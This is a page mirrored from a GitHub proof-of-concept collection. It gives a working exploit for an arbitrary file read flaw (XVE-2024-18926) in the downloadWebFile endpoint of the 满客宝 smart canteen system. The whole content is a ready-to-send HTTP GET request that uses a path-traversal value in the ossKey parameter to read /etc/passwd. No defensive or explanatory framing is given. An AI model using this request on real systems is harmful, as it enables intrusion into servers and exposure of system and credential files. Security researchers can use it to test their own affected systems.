mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
249 B
249 B
满客宝智慧食堂系统downloadWebFile存在任意文件读取漏洞(XVE-2024-18926)
poc
GET /base/api/v1/kitchenVideo/downloadWebFile.swagger?fileName=a&ossKey=/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: